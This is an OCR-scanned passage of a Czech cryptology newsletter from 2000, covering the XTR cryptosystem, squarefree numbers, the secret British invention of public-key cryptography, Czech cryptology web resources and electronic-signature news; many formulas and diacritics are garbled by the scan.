Nasledujici rovnost dava vlastné vychozi myslenku konstrukce kryptosystému XTR:

Sa (Tr(g)) = (Tr(g™"), Tr(g"), Tr(g"™"))

Ukazuje totiz, ze pti nahrazeni tradi¢nich mocnin g jejich stopami lze dosahnout vypocetné
efektivnich postupti. Konkrétné algoritmus 2.3.7 umoziiuje na zéklad¢ znalosti Tr(g) rychle
spocitat Tr(g").

Pro nékteré kryptografické postupy je vSak jeSté tfeba umét spocitat stopu soucinu dvou
mocnin generatoru g. Tim se zabyva algoritmus 2.4.8.

4. Volba parametru

Symboly P a Q oznacime pozadované velikosti (v pocétech bitit) hledanych prvocisel p a q.
Autofi doporucuji, ze k dosazeni bezpeCnosti odpovidajici bezpecnosti napt. RSA v délce
1024 (pocet bitii sou¢inu dvou prvocisel) je vhodné volit P = 170 a Q = 160.

Algoritmus 3.1.1. Nalézt pfirozené r tak, ze q = r* — r +1 je prvocislo délky Q a dale nalézt
ptirozené k tak, ze p =r + k*q je prvocislo délky P a p =2 mod 3.

Tento algoritmus nam sice dava potiebnd prvocisla (navic prvocislo p takto generované ma
urcité vypocetné vyhodné vlastnosti), ale nemusi byt plné€ idealni z bezpecnostniho hlediska.
Autofi proto uvadi jesté Algoritmus 3.1.2 jako metodu generovani p a q , kterd je oprosténa od
mozného zjednoduseni pii kryptoanalytickém pouziti metody Number Field Sieve pro feseni
diskrétniho logaritmu. Algoritmus 3.2.2 se zabyva postupem nalezeni Tr(g) — neni nutné
pfitom znat samotné g.

Soucasti dat pro vetejny kli¢ kryptosystému XTR je vySe uvedend dvojice prvocCisel pa q a
stopa Tr(g) generatoru g. Tato ¢isla mohou byt sdilena vice uzivateli (jako je tomu napi. u
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DSA ¢ ECDSA). Vefejny kli¢ konkrétniho uzivatele je pak doplnén hodnotu Tr(g") pro
né&jaké piirozené Cislo k, které je utajovano (je to tedy ptislusny soukromy klic).

5. Pouziti v kryptografii

Autofi uvadégji ti1 postupy — analogii DH dohody na kli¢i, ElGamalova Sifrovani a analogii
Nyberg-Rueppelovy varianty digitalniho podpisu s obnovou zpravy. Nasleduje popis analogu
Diffie-Hellmanova protokolu pro dohodu na kli¢i :

1. Alice zvoli ndhodné pfirozené a < g-2, spoéte Tr(g") a zaSle ho Bobovi.

2. B obdobng zvoli pfirozené b < q-2, spoéte Tr(g") a zasle ho Alici.

3. Alice spoéte Tr(g™) a dohodnutym postupem odvodi kli& K.

4. Stejné tak Bob spoéte Tr(g") a dohodnutym postupem odvodi kli¢ K
Vypoclty se opiraji o pouziti algoritmu 2.3.7.

V dalsi casti Clanku se autofi zabyvaji srovnadnim vlastnosti kryptosystému XTR
s kryptosystémy RSA a ECC. Dokladuji vyhodnost jimi navrhovaného postupu. Potifebna
délka kli¢h je srovnatelnd s ECC a totéZ plati i o vypocetni narocnosti kryptografickych
operaci.

Ve zbyvajici Casti prace jsou popsany nckteré piistupy k hodnoceni bezpecnosti
navrhovaného kryptosystému.

6. Shrnuti

Kryptosystém XTR ptedstavuje myslenkové velice hodnotny postup, inovatorsky z hlediska
metod sou¢asné asymetrické kryptografie. Ctenafe majici zajem o konkrétni implementace
kryptosystému XTR musim vSak trochu varovat. Pro praktické aplikace je nejlépe vyuzit
takové kryptosystémy, které jsou jiz soucasti mezinarodnich norem. Svym zptsobem to také
garantuje, ze dany kryptosystém jiz proSel dostate¢né fazi kritick¢ého posuzovani svych
vlastnosti odbornou veiejnosti (jako je tomu napft. u systému RSA a u systému zalozenych na
ulohéach diskrétniho a eliptického diskrétniho logaritmu). Z tohoto hlediska je systém XTR
teprve v plenkach. Je také mozné, Ze nez kryptosystém nabyde své definitivni podoby (i tieba
napf. z hlediska optimalizace implementacnich vlastnosti) dojde k jeho nékterym dil¢im
upravam. Navic autofi ozndmili, Zze bylo podano né€kolik mezindrodnich patentd, které se
tohoto kryptoschematu dotykaji.

7. Literatura
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C. Fermatiiv test primality, Carmichaelova Ccisla, beztvercova
Cisla
Mgr. Pavel Vondruska (NBU)

Cast Il

V minulém sesit¢ - 6/2000 - jsme si uvedli nékteré pravdépodobnostni testy pro ziskani
prvocisel. Blize jsme se seznamili s Fermatovym testem primality a pfi jeho teoretickém
rozboru jsme se setkali s pojmem Carmichaelovo Cislo. Témito Cisly jsme se dale zabyvali. V
zavéru jsme uvedli charakteristické vlastnosti téchto Cisel.

Jedna z vlastnosti byla : "Kazdé Carmichaelovo ¢islo je bezétvercove."

V této Casti se budeme prave bezctvercovymi Cisly zabyvat.

Bezctvercova Cisla

Cislo n se nazyva bezétvercové (anglicky Squarefree), jestlize jeho prvoéiselny rozklad
obsahuje kazdého Cinitele pouze v prvé mocning.

Vsechna prvocisla jsou tedy trivialné Cisla bezétvercova.

Ptikladem bezctvercovych ¢isel jsou : 1, 2, 3,5, 6,7, 10, 11, 13, 14, 15, ...

Naopak cisla 4, 8,9, 12, 16, 18, 20, 24, 25, ... nejsou ¢isla bezétvercova (anglicky se oznacuji
squareful numbers).

Vypoctem byly zjistény nasledujici vysledky :

Interval <1 ,n> | Pocet bezCtvercovych Cisel Pocet prvocisel
10 7 4

100 61 25

1000 608 168

10 000 6 083 1229

100 000 60 794 9592

1 000 000 607 926 78 498

Vyznamné prace o problému bezctvercovych ¢isel publikovali : (6) Nagell 1951, p. 130;
(4) Landau 1974, pp. 604-609; (3) Hardy and Wright 1979, pp. 269-270; ( 2) Hardy 1999,
p. 65.

Na grafu zavislosti po¢tu bez¢tvercovych ¢isel na ¢islu n (obr. 1) Ize vypozorovat jistou
pravidelnost rozlozeni bez¢tvercovych Cisel.

Obecn¢ lze fici, ze rozlozeni bezcétvercovych cisel je na rozdil od prvocisel "docela
pravidelné". Prave pro tuto vlastnost a soucasné proto, Ze jsou s prvocisly v t€sném vztahu,
jsou bezctvercova Cisla v teorii Cisel vyuzita pro nékteré odhady a dikazy, které se tykaji
prvocisel. Piesnéjsi vyjadieni (a zdlivodnéni) ptesahuje rdmec naseho jednoduchého vykladu.
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Obr. 1 - Zavislost poctu bez¢tvercovych Cisel na volbé n
Z "presngjSich" odhadl uved’'me odhad poctu bezctvercovych Cisel Q(x) <n

Q) = 2 + o(ym)

T2

Asymptotickd hustota tohoto vyrazu je 1/ {(2) = 6/ n* = 0.607927 ( kde {(2) je hodnota
Riemannovy { funkce v bod¢ 2) .

Hardy a Wright 1979 (3, str. 270) studovali tzv. Mdbiovu funkci p(n), kterd je definovana
nasledovné :

0 pro n, které ma ve svém prvociselném rozkladu alesponi dvé prvocisla
stejna
u(n) = 1 pro n=1
(-1)k pro n, které ma ve svém prvociselném rozkladu vSechny Cinitele rizné

a téchto Ciniteld je k
Je ziejmé, ze je-li w(n) rdzné od nuly, je n bezétvercové Cislo.
Asymptoticka hodnota funkce Q(x) je rovna hodnoté :
X 6x
Zl p(n) | =— +0(X)
n=1 g

/)

Neni znam algoritmus, ktery by v polynomidlnim case feSil otazku, zda pftirozené Cislo je
nebo neni bezltvercové Cislo. Je ziejmé, ze tento problém uzce souvisi s problémem
faktorizace, nebot’ umime-li ¢islo rozlozit na jednotlivé ¢initele, pak snadno uréime, zda je
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nebo neni bezctvercové. Na druhou stranu neni znamo, zda neexistuje algoritmus, ktery by
nam urc€il, Ze ¢islo je bez¢tvercové, aniz bychom museli znat jeho rozklad.

Zodpovézeni této otdzky se povazuje za velice dllezity problém teorie ¢isel, vysledek
by naSel uplatnéni v teorii NFS (number field sieve), velice nepiesn¢ feceno "okruh
ptirozenych cCisel vytvofeny pii vypoctu algebraického Ciselného pole by byl reducibilni
pomoci bezétvercovych ¢&isel" (Lenstra 1992, Pohst and Zassenhaus 1997). ReSeni tohoto
problému tak miiZze vyrazné ovlivnit bezpe¢nost RSA .

sk sk s sk s skeosk skok skok

Ptilohou k dnes$nimu cislu je soubor 10000.txt, ktery obsahuje prvnich 10 000
prvocisel. Tento soubor je ulozen na adrese http:/www.utm.edu/research/primes/lists/small/1000.txt.
Zde lze také ziskat soubor obsahujici ptehled prvnich 100 008 prvocisel. V tomto souboru
jsou uvedena vSechna prvocisla z intervalu 1 az to 1 299 827. Velikost tohoto souboru je 822
kB. Pokud né¢komu nestaci jesté ani tento rozsahly soubor, doporucuji k navstéveé adresu :
http://www.math.princeton.edu/~arbooker/nthprime.html
Zde muzete ziskat informace o prvnich 1 000 000 000 000 prvocislech. Poslednim prvocislem
v tomto souboru je 29 996 224 275 833. Informace o prvocislech ziskate pomoci dotazii. Vas
dotaz napt. zni : "Jaké je sté prvocCislo?" , a program ulozeny na uvedené adrese vrati
prisluné prvoéislo = 541. Odpovéd na libovolny dotaz od 2 do 10'* trvé cca 10 vtefin.

sk ok s ke s skeosk sk skokosk
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D. Pocatky kryptografie verejnych klicu

Mgr. Jan Janecko ( Komerc¢ni banka, a.s. )

Rokem 1976 zacala bezesporu nova éra kryptografie. Whitfield Diffie, Martin
Hellman a Ralph Merkle objevili a zvetejnili zcela novy prevratny kryptograficky princip —
princip vetejnych Sifrovacich klict. Tento prukopnicky objev postupné vzbudil obrovsky
zéajem specialistl a v nasledujicim obdobi zcela zménil obraz kryptologie. Po prvnich ¢lancich
a vystoupenich autorti této myslenky se brzy objevily navrhy konkrétnich systémid. Mezi
kryptografie, ¢ili kryptografie vetejnych kli¢t (Public Key Cryptography, PKC) — v roce 1976
tzv. Diffie-Hellmantiv systém vymény klici [1] a vroce 1977 algoritmus RSA [2], jehoZ
autory jsou Ronald Rivest, Adi Shamir a Leonard Adleman (vté dob& vSichni z MIT).
Jmenovani autofi si za své objevy ziskali zaslouZeny respekt a navzdy se zapsali do historie
svého oboru.

Postupem doby se vSak zacaly objevovat urcité povésti, ze tito védei nebyli prvnimi
objeviteli PKC. V kryptologii totiz existuje situace odliSnd od vétSiny ostatnich védeckych
obort. Vedle otevieného vyzkumu existuje jest€¢ vyzkum utajovany, provadény elitnimi
specialnimi sluzbami velmoci 1 dalSich zemi, zahaleny témét neproniknutelnym tajemstvim
(viz téz citat v zavéru tohoto ¢lanku). Az do 70. let tato sféra v kryptologii naprosto
dominovala, ale i vnynéj§i dobé stale predstavuje velmi vyznamny védecko-vyzkumny
potencial.

Rika se napiiklad, ze uz pred rokem 1976 znala PKC americkd NSA. V ¢lanku o
kryptologii uvetejnéném v Encyclopaedia Britannica [3] se uvadi, Ze byvaly fedite]l NSA
Bobby Inman bez dikazi tvrdil, Ze NSA znala princip PKC uz o deset let diive pted jeho
objevenim otevienou akademickou obci. Urcité potvrzeni vidi n&kteti ve vyvojovém projektu
zabezpeCeného telefonu STU-III, ktery vyuziva certifikatl, a jehoz vyzkum zacal
pravdépodobné v poloviné 70. let. Pfitom certifikdty se ve vetfejné kryptografii objevily az v
roce 1979. Jako mozny podnét pro vyzkum vedouci k objevu PKC se také uvadi
Memorandum prezidenta J. F. Kennedyho ¢. 160 zroku 1962 (a zvlast€¢ jeho Weisneriv
dodatek) [4], tykajici se potfeby zabezpeceni nuklearnich zbrani proti zneuziti.

Nepopiratelny dikaz o tom, ze princip PKC byl objeven uz pied rokem 1976, vSak
nakonec pfiSel z Velké Britanie. V roce 1997 byl uvetejnén ¢lanek Jamese Ellise z britské
CESG (Communications — Electronics Security Group), nazvany "The history of Non-Secret
Encryption" [5], ve kterém jeho autor popisuje, jak princip asymetrické kryptografie (jim
nazyvany jako Non-Secret Encryption, NSE) objevil uz v roce 1970. Dale uvadi, Ze specidlni
variantu RSA objevil jeho kolega Clifford Cocks v roce 1973, varianty Diffie-Hellmanova
systému vymény kli¢t pak Malcolm Williamson brzy poté. Clanek [5] napsal James Ellis
v roce 1987, byl vSak zvetejnén az kratce po jeho smrti v prosinci 1997. Je v ném popsana
cela historie objevu NSE pracovniky CESG. Spolu s piislusSnymi autentickymi technickymi
zpravami CESG ([6] -[9]) ho Ize najit na webovské strance CESG www.cesg.uk.
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Jak vlastné k objevu NSE doslo? J. Ellis uvadi, Ze uz v 60. letech pfedstavovala velky
problém distribuce Sifrovacich kli¢i tehdy pouzivanych symetrickych Sifer pro potieby
ozbrojenych sil. Az dosud bylo pokldddno za samoziejmé, Zze odesilatel 1 piijemce
zaSifrovanych informaci musi pfedem sdilet né¢jakou utajovanou informaci. Inspirace, Ze tomu
tak byt nemusi, pfiSla ztechnické zpravy nezndmého pracovnika Bellovych laboratofi,
publikované v roce 1944, kterda obsahovala navrh zabezpeceného telefonu. Utajeni mélo byt
dosazeno tim, Ze ptijemce vysilal do linky Sum k maskovéani hovorového signalu, ktery by
pak od pfijattho maskovaného signalu opét odecital. Piestoze névrh nebyl technicky
realizovatelny, vnukl Ellisovi myslenku, ze pfi aktivni ucasti pfijemce v procesu Sifrovani
odesilatel a pfijemce predem sdilet néjakou utajovanou informaci nemusi a cely systém mtize
byt vetejné znamy. Od tohoto postehu jiz pro n€ho nebylo obtizné dokazat existencni vétu o
tom, ze "Non-Secret Encryption" je v principu mozné. Dikaz vychézel z predstavy, ze proces
zaSifrovani lze vzdy zcela obecné popsat pomoci matice, jejiz fadky a sloupce predstavuji
vSechny mozné klice a mozné zpravy, obsahem matice je pak prislusny Sifrovy text. I kdyz by
takovd matice nebyla v praxi pro svoji ohromnou velikost realizovatelna, v principu si ji
muzeme vzdy predstavit.

PopiSme nyni struén¢ hlavni myslenku dikazu. Odesilatel chce utajené poslat zpravu p.
Pfijemce generuje ndhodny tajny kli¢ &, ktery zaSifruje pomoci nahodné generované
jednorozmérné tabulky (permutace) M1 na hodnotu x = MI(k) a tu zasle odesilateli zpravy.
Ten pouzije x a tabulku M2 (dvojrozmérnou, ndhodné generovanou matici, jez indukuje pro
kazdou pevnou hodnotu x prosté zobrazeni) k zaSifrovani p na Sifrovy text z: z = M2(p,x).
Ptijemce ziska zpét pavodni zpravu p pomoci pfislusné "inverzni" tabulky M3: p = M3(z,k).
Pfitom matice M1, M2 a M3 nemusi byt utajovany.

Message neipheref Message Decphered Message
— = M2 ———= M3 -
F | z
X | t K
|
|
Encipheref Key

| 1 e — Key

|

| |

|

SENLER ! RECIPIENT
Fig. 1

Podrobnéji je cely postup zndzornén na dal$im obrdzku (v dne$ni terminologii se £ nazyva
soukromym a x vetejnym kli¢em):
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Oba obrazky jsou ptevzaty z pivodni Ellisovy zpravy [6].

Je vidét, ze metoda bude fungovat korektné, pokud M3 bude ziejmym zplsobem
zkonstruovana na zaklad¢ matic M1 a M2. Déle je vidéet, Ze ani zvefejnénim vSech matic M1,
M2 a M3 neni ohrozena duvérnost zaSifrované zpravy jejim prenosem k opravnénému
ptijemci. Vzhledem k nahodnému vygenerovani obsahu matic M/ a M2 totiz bez znalosti
hodnoty k£ neexistuje jind metoda lusténi, nez je metoda hrubé sily (prohledavanim tabulek
Mi). Jeji tsp&snost je viak vyloudena dostate¢nou dimenzi matic (napf. fadové 2'%).

Takto se tedy Jamesi Ellisovi podafilo dokézat, Ze asymetrické Sifry mohou teoreticky
existovat. Ellis vSak nedokazal najit jejich v praxi vyuzitelnou realizaci. Spravné vSak
ptedpokladal, ze prakticky pouzitelny systém muize mit jinou formu, nez kterou pouzil pro
svij dikaz. Svou praci ale ukazoval smér, jakym je mozno se zaméfit. Svij vysledek
prezentoval poprvé v lednu 1970 v interni technické zpravé CESG [6].

Jak sam J. Ellis tvrdil, teorie ¢isel nebyla jeho silnym oborem, s navrhy realizovatelnych
systémi proto pfisli az jeho kolegové. V roce 1973 Clifford Cocks navrhl de facto specidlni
piipad RSA [7]. Stru¢né feceno, rozdil mezi Cocksovym navrhem a RSA je vtom, Ze
vefejnym klicem u Cockse je vzdy ptimo modul n = pg, u RSA to mohou byt "vhodna" ¢isla e
majici inverzi mod @(n) (v praxi se vSak obvykle stejné pouziva jediny vetejny kli¢, napft.
Fermatovo prvocislo 2'°+1). Cockstiv navrh vypadal takto:
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1. Strana A generuje dvé velka prvocisla p, g takova, ze p nedé€li ¢g-1 a g nedéli p-1. Poté
spocte n = pq. Cislo n jako veiejny kli¢ posle strané B.

2. B zasifruje zpravu m tak, ze spoéte c=m"modn, §ifrovy text ¢ posle A.

3. A odsifruje ¢ nasledovné: najde p” a q "takova, ze pp’ = 1 mod q-1 a qq’ = 1 mod p-1.
Pak plati, ze m = ¢ mod ¢ , m = ¢! mod p a pomoci Cinské véty o zbytcich A zjisti
otevieny text m.

To ale nebylo od CESG vSechno. Po C. Cocksovi priSel s jinymi navrhy Malcolm
Williamson. Byly zaloZeny na slozitosti vypoctu diskrétniho logaritmu. Prvnim
systémem byl nasledujici kryptograficky protokol, ktery probihal ve ¢tyfech krocich.
Byl formulovan obecnéji pro konecné okruhy [8], ale pro prvodiselna télesa ho lze
popsat nasledovné:

Utastnici A a B si dohodnou neutajované velké prvoéislo p. Vypoéty pak provadéji
mod p.

1. A chce zaslat zpravu m. Generuje ndhodné &islo & nesoud&lné s p-/ a spoéte x = m"; x
posle B.

2. B generuje nahodné &islo / nesoud@lné s p-1 a spoéte y = x' = (m")’; y posle A.

3. A pomoci Euklidova algoritmu nalezne k' takové, ze kk' = I mod p-1 a spolte z =
(mkl)k' = m'; tuto hodnotu posle B.

4. B obdobnym zptisobem nalezne I’ takové, Ze lI' = 1 mod p-1 a spoéte z' = (m')! = m.

V dalsi zpraveé [9] Williamson dokonce navrhl klasicky Diffie-Hellmaniiv protokol pro
vyménu kli¢i, a to pro obecna Ciselna télesa. Zpravu uvetejnil mnohem pozdéji, nez systém
vymyslel:

Pted zacatkem protokolu si Gcastnici A a B dohodnou téleso F' = GF(p?) a primitivni
prvek x télesa F. Tyto udaje neutajuji. Prvky télesa F reprezentuji jako polynomy.
1. A generuje ndhodné ¢islo a a spocte y = x“; y posle B.
2. B generuje nahodné &islo b a spoéte z = x°; z posle A.
3. ODbé strany spoctou w = (x*)* = (x*)” = x*; tuto hodnotu pouzivaji jako Sifrovaci klig.

Jen jako historickou kuriozitu uved'me, Ze pracovnici CESG objevili varianty
zékladnich syst¢émi PKC (RSA a DH) vopatném poradi, nez jak k tomu poté doslo
v otevieném vyzkumu. Misto zavéru bych pak chtél uvést jesté jeden charakteristicky citat
z ¢lanku Jamese Ellise [5]:

,Kryptografie je nejneobvyklejsi védou. VéEtSina profesionalnich védci se snazi publikovat
svou praci jako prvni, protoze prostfednictvim S§ifeni tato prace realizuje svoji hodnotu.
Naproti tomu nejuplnéj§i hodnota kryptografie je realizovana minimalizaci informaci
dostupnych potencidlnim protivnikiim. Proto profesiondlni kryptografové obvykle pracuji
v uzavienych komunitach, které¢ poskytuji dostate¢nou odbornou interakei k zajisténi kvality,
zatimco udrzuji utajeni pred nezasvécenymi. Odhaleni téchto tajemstvi je obvykle umoznéno
pouze v zajmu historické piesnosti az poté, co se ukdze nepochybnym, ze zddny dalsi uzitek
nemuze uz byt z pokracujiciho utajeni ziskan."
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Poznamka:

CESG — Communications-Electronics Security Group — je formalni soucasti znamé britské
specialni sluzby GCHQ (Government Communications Headquarters, Usttedi vladnich
komunikaci). Sidli v Cheltenhamu v hrabstvi Gloucestershire, asi 130 km zapadné od
Londyna. GCHQ se proslavila uz za 2. svétové valky (v té dobé ovsem piisobila pod nazvem
Government Code and & Cypher School - GC&CS, ale byla vSeobecné zndma pod nazvem
Bletchley Park podle svého tehdejsiho sidla) rozlusténim nejtajnéjsich némeckych vojenskych
Sifratorti Enigma a Lorenz Geheimschreiber, stejné jako konstrukci prvnich elektronickych
pocitacli na svété¢ nazyvanych Colosssus, slouzicich pravé k lusténi némeckych Sifratort.
Piimym ptfedchidcem CESG byla London Communications Security Agency (LCSA),
vznikla v Londyné pocatkem 50. let. Dnesni nazev nese od roku 1969. Postupné se sluzba
piest¢hovala do Cheltenhamu. Od roku 1997 jiz CESG neni pfimo financovdna vladou a
pracuje na ziskové bazi. Mezi jeji hlavni ukoly patii ucast na definovani vladni politiky pro
informacni bezpec¢nost, konzultacni a poradenské sluzby pro vladni i vefejny sektor v oblasti
zavadéni této politiky, vlastni vyvoj kryptografickych produkti (jako jsou zabezpecené
telefony) a spoluprace s komerénimi vyrobci pii vyvoji kryptografickych produktl pro vladni
ucely, provadéni vyukovych kurzl a vyroba spotiebnich Sifrovacich materialii (klica).
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E. Prehled nékterych ¢eskych zdroji - téma : kryptologie
Vybral Mgr. Pavel Vondruska, NBU

Je léto, poCasi nam zatim nepieje, a tak zbude mozna €as i1 na studium. Nabizim
moznost prolistovat nékteré ceské internetové zdroje. Osobné se domnivam, Ze ¢lanky na nize
uvedenych adresédch obsahuji fadu kvalitnich informaci a kazdy, kdo ma o tuto problematiku
zajem, zde jist¢ najde mnoho uzitecného.

Seznam je nepochybné neuplny - nikoho jsem ovSem umyslné nevynechal, ale jiné
¢eské zdroje (mimo jednotlivych ¢lanki v ¢asopisech Chip, ComputerWorld, IT-NET apod.)
ve své "databance" nemam. Uvitdm proto upozornéni na dalsi vhodné zdroje a rad je v
ptistich ¢islech zvetejnim.

Ing. Jaroslav Pinkava, CSc., AEC s.r.o.

Na www adrese http://www.aec.cz/ najdete ve sloupcovém menu volbu kryptologie.

Na této adrese je ulozen kvalitné zpracovany, rozsahly "Uvod do kryptologie" a dale 7 &asti
bulletinu AEC, ktery je vénovan Sifrovani a obsahuje cenné odkazy na plivodni materily.
Ptipravuje se ¢ast vénovana elektronickému podpisu. Soubory jsou ulozeny v html podobé.

Doc. Ing. Jan Staudek, CSc. - Masarykova univerzita, Brno
Katedra programovych systémi a komunikaci

Bezpecnost v informacnich technologiich
http://www.fi.muni.cz/usr/staudek/vyuka/security/P017.html
1.Manazersky uvod do bezpecnosti IT

2.Kryptografie a bezpecnost

3.Vybrané bezpecnostni funkce

4.Elektronicky obchod a jeho bezpecnost

5.Bezpecnost v pocitacovych sitich

(vSe v postscriptu *.ps file)

K dispozici jsou velice hodnotné, odborné ¢lanky. Celkem je zde k dispozici vice nez 75 Mb
zdrojového textu !

Mgr. Pavel Vondruska, NBU

Sesity Crypto-World (Kryptologicka sekce Jednoty Ceskoslovenskych Matematikii a Fyzikii)
http://www.mujweb.cz/veda/gcucmp/

Sesity jsou ve formatu PDF (pro orienta¢ni ndhled v html).

RNDr. Vlastimil Klima, Decros s.r.o.

Na URL adrese Decrosu je k dispozici rozsahly archiv publikaci zndmého ¢eského kryptologa
Dr.Klimy a jeho firemniho kolegy Dr.Rosy. Clanky jsou velmi Gtivé.

http://www.decros.cz/Security _Division/Crypto_Research/publikace.htm

K dispozici je komentovany seznam publikaci, ve kterém lze vyhledavat podle nazvii nebo
podle klicovych slov.
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Mgr. Vaclav Matyas, PhD., ml.

Popularni rozsdhly serial o bezpecnosti a informacnim soukromi "Bezpec¢nost pro vSechny,
soukromi pro kazdého" (celkem 57 pokracovani) redigovany V.Matyasem, ktery vychazel na
pokraovani v ComputerWorldu (10/97 - 40/98), je nyni cely dostupny na adrese :
http://www.cw.cz/cw.nst/page/BF1F077C380BCBC5C12568 AE00489FB6

Soubory jsou v htm formatu. Cely serial Ize stdhnout najednou - celkova délka (zazipovano)
je jen 570 kb.

Dalsi zajimavé informace (v€etn¢ informaci o studiu) 1ze ziskat na osobni strance Dr.Matyase
http://www.fi.muni.cz/usr/matyas/

Mgr. Antonin Bene§, MFF UK Praha
KSI (Katedra systémového inzenyrstvi)

Prednasky v elektronické podobé z predmétu "Ochrana informace" jsou ulozeny na
http://www.kolej.mff.cuni.cz/prednes/oipage.html

Jedna se o ptivodni zdrojové dokumenty. Vytvoreny jsou nésledujici soustavou programi:
Microsoft Word for Windows 6.0a, poc¢inaje 7. ¢asti MS Word for Windows'95 7.0,
Microsoft Equation Editor 2.0 a Corel DRAW! 5.0 .

O néco strucnéjsi jsou elektronické prednasky k predmétu "Bezpecnost IS v praxi". Tyto
piednésky jsou dostupné na http://www.kolej.mff.cuni.cz/bezpsem/index.html

Pfednasky a doprovodné texty k seminafi "Matematické principy informacni bezpecnosti"
(vedouci RNDr. Jiii Soucek, DrSc. a Mgr.Tonda Benes) jsou dostupné na
http://www.mujweb.cz/veda/gcucmp/mff/index.html . Zrcadlo doplnéné o nékteré texty v
elektronické podobé¢ lze najit na http://www.kolej.mff.cuni.cz/kryptsem/index.html .

Pro uplné zacateCniky doporucuji nahlédnout na peclivé vedenou stranku Stanislava
Chrom¢éiaka : "Sifrovani pro déti". http://freeweb.coco.cz/ANCHOR/sifry/index.htm .

Zajimavym zdrojem informaci mohou byt pro prazské zajemce vefejné semindie poradané
BITIS (Sdruzeni pro bezpecnost informacnich technologii a informacnich systémi).
Informace o téchto seminafich 1ze nalézt na prozatimni adrese :
http://www.mujweb.cz/veda/bitis

Na zavér si dovolim upozornit na dvoumeésicnik "Data Security Management", ktery je
vénovany problematice bezpecnosti dat a je orientovan na manazery. URL adresa je
http://www.dsm.tate.cz
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F. Letem Sifrovym svétem

1.

Prezident republiky Véclav Havel podepsal 11.7.2000 zakon o elektronickém podpisu.
Tento zakon nabyva tc¢innosti 1.10.2000. Téméf soucasné probeéhl podobny akt i v USA;
prezident Bill Clinton podepsal americky zdkon o elektronickém podpisu (Electronic
Signatures in Global and National Commerce Act) na stejném misté, kde byl pred 224 lety
symbolicky zdkon podepsal elektronicky pomoci svého soukromého klice.

Mohl tak u€init i na§ prezident ? Ano, mohl. Jak jsem zjistil pfi prohlizeni vydanych
certifikati I.CA ( www.ica.cz ), ma zde registrovan svlj vetejny kli¢ (uréen pro RSA,
délka modulu 1024 bith). Platnost kli¢e je omezena na kritickou dobu, kdy se védélo, ze
prezident bude Cesky zakon o elektronickém podpisu signovat (10.7.2000-24.7.2000).
Sériové ¢Cislo tohoto certifikdtu je : 72028. Subject : Vaclav Havel /
email=vaclav.havel@hrad.cz . Pfipomenu, ze Véclav Havel podepsal nas zdkon o
elektronickém podpisu na své cesté po Balkané - v Dubrovniku. Mozn4, ze kdyby se akt
nekonal mimo CR, Ze by prezident také pouzil symbolicky elektronicky podpis, mozna ...

Sdruzeni pro informacni spole¢nost (SPIS) uspotadalo 13.7.2000 happennig u ptilezitosti
podpisu zakona o elektronickém podpisu prezidentem CR (SPIS eSignature Construction
Happening 2000). Na akci byli pozvani vSichni, ktefi se na ptipravé a prosazovani zdkona
o elektronickém podpisu podileli. Setkani prob¢hlo v pratelské atmosfére a zbyva jen
doufat, Ze naplnéni zdkona bude realizovano co nejdiive.

V kvétnu byl schvalen dilezity dokument - evropsky standard o formatech elektronického
podpisu - ETSI ES 201733 (Electronic Signature Formats). Je volné¢ dostupny na
webowské strance ETSI http://webapp.etsi.org/pda/ nebo na strance ETSI vénované
elektronickému podpisu http://www.etsi.org/sec/el-sign.htm .

V pribéhu Cervence byla uverejnéna zadost o komentovani draftu dokumentu, ktery se
tykéd pozadavki na jednotné hodnoceni poskytovatelt certifikacnich sluzeb, které vydavaji
kvalifikované certifikaty :“Policy Requirements for Certification Service Providers
Issuing Qualified Certificates” (ETSI 155 T1 Draft H, 15.7.2000) . O rychlosti, s jakou
ETSI pracuje, svédci i datum do kdy se pfijimaji komentare - 15.9.2000. Do konce roku
2000 vyjde cela tada dalSich dalezitych dokumenti. Osobné se domnivam, Ze by k jejich
obsahu mélo byt prihlédnutu pifi vytvareni obdobnych dokumentt - vyhlasek - Gfadem
UOOU, kterému ze zékona o elektronickém podpisu nalezi dozor nad akreditovanymi
certifikacnimi autoritami a nad certifika¢nimi autoritami vydavajicimi kvalifikované
certifikaty.

Michelle  Finley uvefejnil  ¢lanek  "Phone  Phreaks to  Rise  Again?"
(http://www.wired.com/news/business/0,1367,36309.,00.html ). V ¢lanku popisuje nové
moznosti utokil "telefonnich hackert", které umoziuje zavedeni IP telefonie. Phreacketi
jsou casti pocitacového undergroundu a v minulosti (v 60-tych a 70-tych letech)
nechvalné prosluli svymi utoky proti telefonnim technologiim. Finley upozoriuje, ze
novodoba technologie mlize vést k "zmrtvychvstani" této dnes jiz témét zaniklé komunity.
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5.

Na

Z adresy http://www.rsasecurity.com/rsalabs/fag/index.html Ize stdhnout novou verzi
(datovanou k 27.6.2000) znamého dokumentu "RSA Laboratories' Frequently Asked
Questions About Today's Cryptography, Version 4.1". Velikost PDF verze je 1 521 172
bytil, zazipovano pouze 888 372 bytil.

(J.Pinkava) Autofi kryptosystému NTRU se rozhodli pro jeho patentovani. Ptestoze
puvodné byl kryptosystém piedloZzen k zatazeni do soustavy norem, kterou pfipravuje
skupina IEEE P1363, nakonec se autofi (Jeffrey Hoffstein,Jill Pipher a Joseph H.
Silverman) rozhodli jit cestou patentl. Pfitom kryptosystém NTRU je z fady hledisek pro
uzivatele velice zajimavy. Jeho velkou prednosti je pfedevsim dosahovana rychlost prace
vlastniho algoritmu. NTRU byl nejprve prezentovan Jeffrey Hoffsteinem na rump session
na konferenci CRYPTO 96, publikovan byl v roce 1998 ( http://www.ntru.com ).
Novinkou je umysl autorG vyuzit tento kryptosystém k ochrané autorskych prav
digitalizovanych hudebnich nahravek
http://www.nytimes.com/library/tech/00/07/biztech/articles/03pate.html ).

Napt. firmy Greylock Management and Sony Corporation se rozhodly investici ve vysi 11
milionti dolarii podpofit vyvoj této nové technologie.

zavér néco z letni okurkové sezény :

SIFROVAT,SIFROVAT,SIFROVAT!

Vladimir Zelezny zvefejnil informaci, ze ma k dispozici dokumenty, které dokladaji, ze
americka spoleCnost CME pfipravovala nasilné ovladnuti TV NOVA. Jedna se o e-
mailové texty posilané elektronickou poStou mezi manazery CME Johnem Schwalliem a
Petrem SladeCkem. Texty byly ziskdny z pevného disku piijemce. Je az zarazejici, ze
manazefi takovéhoto medialniho gigantu nepouzivali k zalohovéani a pravdépodobné ani
ke komunikaci néktery Sifrovaci software.

Problém bude ovSem s prokazovanim autenticnosti e-mailli - nebyly elektronicky
podepsany nebo oznaceny ¢asovym razitkem. Pfi této ptilezitosti mne napadla otazka, jak
se vyrovnaji nase soudy s piipadnym sporem, kdy jedna strana ptedlozi jako dikaz
